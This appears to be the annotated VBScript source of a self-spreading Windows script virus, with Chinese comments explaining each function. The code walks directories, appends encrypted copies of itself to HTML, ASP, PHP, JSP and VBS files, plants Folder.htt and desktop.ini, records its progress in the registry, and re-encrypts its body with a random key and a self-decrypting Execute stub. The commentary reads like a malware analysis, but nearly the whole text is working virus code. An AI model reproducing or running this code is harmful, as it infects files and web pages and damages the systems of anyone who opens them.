'    功能：遍歷并返回目錄路徑 
'    參數： 
'        CurrentString    當前目錄 
Function KJOboSub(CurrentString) 
    SubE = 0 
    TestOut = 0 
    Do While True 
        TestOut = TestOut + 1 
        If TestOut > 28 Then 
            CurrentString = FinalyDisk & ":\" 
            Exit Do 
        End If 
        On Error Resume Next 
        '    取得當前目錄的所有子目錄，并且放到字典中 
        Set ThisFolder = FSO.GetFolder(CurrentString) 
        Set DicSub = CreateObject("Scripting.Dictionary") 
        Set Folders = ThisFolder.SubFolders 
        FolderCount = 0 
        For Each TempFolder in Folders 
            FolderCount = FolderCount + 1 
            DicSub.add FolderCount, TempFolder.Name 
        Next 
        '    如果沒有子目錄了，就調用KJChangeSub返回上一級目錄或者更換盤符，并將SubE置1 
        If DicSub.Count = 0 Then 
            LastIndexChar = InstrRev(CurrentString,"\",Len(CurrentString)-1) 
            SubString = Mid(CurrentString,LastIndexChar+1,Len(CurrentString)-LastIndexChar-1) 
            CurrentString = KJChangeSub(CurrentString,LastIndexChar) 
            SubE = 1 
        Else 
        '    如果存在子目錄 
        '        如果SubE為0，則將CurrentString變為它的第1個子目錄 
            If SubE = 0 Then 
                CurrentString = CurrentString & DicSub.Item(1) & "\" 
                Exit Do 
            Else 
        '        如果SubE為1，繼續遍歷子目錄，并將下一個子目錄返回 
                j = 0 
                For j = 1 To FolderCount 
                    If LCase(SubString) = LCase(DicSub.Item(j)) Then 
                        If j < FolderCount Then 
                            CurrentString = CurrentString & DicSub.Item(j+1) & "\" 
                            Exit Do 
                        End If 
                    End If 
                Next 
                LastIndexChar = InstrRev(CurrentString,"\",Len(CurrentString)-1) 
                SubString = Mid(CurrentString,LastIndexChar+1,Len(CurrentString)-LastIndexChar-1) 
                CurrentString = KJChangeSub(CurrentString,LastIndexChar) 
            End If 
        End If 
    Loop 
    KJOboSub = CurrentString 
End Function 

'    函數：KJPropagate() 
'    功能：病毒傳播 
Function KJPropagate() 
    On Error Resume Next 
    RegPathvalue = "HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\Degree" 
    DiskDegree = WsShell.RegRead(RegPathvalue) 
    '    如果不存在Degree這個鍵值，DiskDegree則為FinalyDisk盤 
    If DiskDegree = "" Then 
        DiskDegree = FinalyDisk & ":\" 
    End If 
    '    繼DiskDegree置后感染5個目錄 
    For i=1 to 5 
        DiskDegree = KJOboSub(DiskDegree) 
        KJummageFolder(DiskDegree) 
    Next 
    '    將感染記錄保存在"HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\Degree"鍵值中 
    WsShell.RegWrite RegPathvalue,DiskDegree 
End Function 

'    函數：KJummageFolder(PathName) 
'    功能：感染指定目錄 
'    參數： 
'        PathName     指定目錄 
Function KJummageFolder(PathName) 
    On Error Resume Next 
    '    取得目錄中的所有文件集 
    Set FolderName = FSO.GetFolder(PathName) 
    Set ThisFiles = FolderName.Files 
    HttExists = 0 
    For Each ThisFile In ThisFiles 
        FileExt = UCase(FSO.GetExtensionName(ThisFile.Path)) 
        '    判斷擴展名 
        '        若是HTM,HTML,ASP,PHP,JSP則向文件中追加HTML版的病毒體 
        '        若是VBS則向文件中追加VBS版的病毒體 
        '        若是HTT,則標志為已經存在HTT了 
        If FileExt = "HTM" Or FileExt = "HTML" Or FileExt = "ASP" Or FileExt = "PHP" Or FileExt = "JSP" Then 
            Call KJAppendTo(ThisFile.Path,"html") 
        ElseIf FileExt = "VBS" Then 
            Call KJAppendTo(ThisFile.Path,"vbs") 
        ElseIf FileExt = "HTT" Then 
            HttExists = 1 
        End If 
    Next 
    '    如果所給的路徑是桌面，則標志為已經存在HTT了 
    If (UCase(PathName) = UCase(WinPath & "Desktop\")) Or (UCase(PathName) = UCase(WinPath & "Desktop"))Then 
        HttExists = 1 
    End If 
    '    如果不存在HTT 
    '        向目錄中追加病毒體 
    If HttExists = 0 Then 
        FSO.CopyFile WinPath & "system32\desktop.ini",PathName 
        FSO.CopyFile WinPath & "web\Folder.htt",PathName 
    End If 
End Function 

'     函數KJSetDim() 
'         定義FSO,WsShell對象 
'         取得最后一個可用磁盤卷標 
'         生成傳染用的加密字串 
'         備份系統中的web\folder.htt和system32\desktop.ini 
Function KJSetDim() 
    On Error Resume Next 
    Err.Clear 

    '     測試當前執行文件是html還是vbs 
    TestIt = WScript.ScriptFullname 
    If Err Then 
        InWhere = "html" 
    Else 
        InWhere = "vbs" 
    End If 
    
    '     創建文件訪問對象和Shell對象 
    If InWhere = "vbs" Then 
        Set FSO = CreateObject("Scripting.FileSystemObject") 
        Set WsShell = CreateObject("WScript.Shell") 
    Else 
        Set AppleObject = document.applets("KJ_guest") 
        AppleObject.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}") 
        AppleObject.createInstance() 
        Set WsShell = AppleObject.GetObject() 
        AppleObject.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}") 
        AppleObject.createInstance() 
        Set FSO = AppleObject.GetObject() 
    End If 
    Set DiskObject = FSO.Drives 
    '     判斷磁盤類型 
    ' 
    '     0: Unknown 
    '     1: Removable 
    '     2: Fixed 
    '     3: Network 
    '     4: CD-ROM 
    '     5: RAM Disk 
    '     如果不是可移動磁盤或者固定磁盤就跳出循環。可能作者考慮的是網絡磁盤、CD-ROM、RAM Disk都是在比較靠后的位置。呵呵，如果C:是RAMDISK會怎么樣？ 
    For Each DiskTemp In DiskObject 
        If DiskTemp.DriveType <> 2 And DiskTemp.DriveType <> 1 Then 
            Exit For 
        End If 
        FinalyDisk = DiskTemp.DriveLetter 
    Next 
    
    '     此前的這段病毒體已經解密，并且存放在ThisText中，現在為了傳播，需要對它進行再加密。 
    '     加密算法 
    Dim OtherArr(3) 
    Randomize 
    '     隨機生成4個算子 
    For i=0 To 3 
        OtherArr(i) = Int((9 * Rnd)) 
    Next 
    TempString = "" 
    For i=1 To Len(ThisText) 
        TempNum = Asc(Mid(ThisText,i,1)) 
        '對回車、換行(0x0D,0x0A)做特別的處理 
        If TempNum = 13 Then 
            TempNum = 28 
        ElseIf TempNum = 10 Then 
            TempNum = 29 
        End If 
        '很簡單的加密處理，每個字符減去相應的算子，那么在解密的時候只要按照這個順序每個字符加上相應的算子就可以了。 
        TempChar = Chr(TempNum - OtherArr(i Mod 4)) 
        If TempChar = Chr(34) Then 
            TempChar = Chr(18) 
        End If 
        TempString = TempString & TempChar 
    Next 
    '     含有解密算法的字串 
    UnLockStr = "Execute(""Dim KeyArr(3),ThisText""&vbCrLf&""KeyArr(0) = " & OtherArr(0) & """&vbCrLf&""KeyArr(1) = " & OtherArr(1) & """&vbCrLf&""KeyArr(2) = " & OtherArr(2) & """&vbCrLf&""KeyArr(3) = " & OtherArr(3) & """&vbCrLf&""For i=1 To Len(ExeString)""&vbCrLf&""TempNum = Asc(Mid(ExeString,i,1))""&vbCrLf&""If TempNum = 18 Then""&vbCrLf&""TempNum = 34""&vbCrLf&""End If""&vbCrLf&""TempChar = Chr(TempNum + KeyArr(i Mod 4))""&vbCrLf&""If TempChar = Chr(28) Then""&vbCrLf&""TempChar = vbCr""&vbCrLf&""ElseIf TempChar = Chr(29) Then""&vbCrLf&""TempChar = vbLf""&vbCrLf&""End If""&vbCrLf&""ThisText = ThisText & TempChar""&vbCrLf&""Next"")" & vbCrLf & "Execute(ThisText)" 
    '     將加密好的病毒體復制給變量 ThisText 
    ThisText = "ExeString = """ & TempString & """" 
    '     生成html感染用的腳本 
    HtmlText ="<" & "script language=vbscript>" & vbCrLf & "document.write " & """" & "<" & "div style='position:absolute; left:0px; top:0px; width:0px; height:0px; z-index:28; visibility: hidden'>" & "<""&""" & "APPLET NAME=KJ""&""_guest HEIGHT=0 WIDTH=0 code=com.ms.""&""activeX.Active""&""XComponent>" & "<" & "/APPLET>" & "<" & "/div>""" & vbCrLf & "<" & "/script>" & vbCrLf & "<" & "script language=vbscript>" & vbCrLf & ThisText & vbCrLf & UnLockStr & vbCrLf & "<" & "/script>" & vbCrLf & "<" & "/BODY>" & vbCrLf & "<" & "/HTML>" 
    '     生成vbs感染用的腳本 
    VbsText = ThisText & vbCrLf & UnLockStr & vbCrLf & "KJ_start()" 
    '     取得Windows目錄 
    '     GetSpecialFolder(n) 
    '         0:     WindowsFolder 
    '         1:     SystemFolder 
    '         2:     TemporaryFolder 
    '     如果系統目錄存在web\Folder.htt和system32\desktop.ini，則用kjwall.gif文件名備份它們。 
    WinPath = FSO.GetSpecialFolder(0) & "\" 
    If (FSO.FileExists(WinPath & "web\Folder.htt")) Then 
        FSO.CopyFile WinPath & "web\Folder.htt",WinPath & "web\kjwall.gif" 
    End If 
    If (FSO.FileExists(WinPath & "system32\desktop.ini")) Then 
        FSO.CopyFile WinPath & "system32\desktop.ini",WinPath & "system32\kjwall.gif" 
    End If 
End Function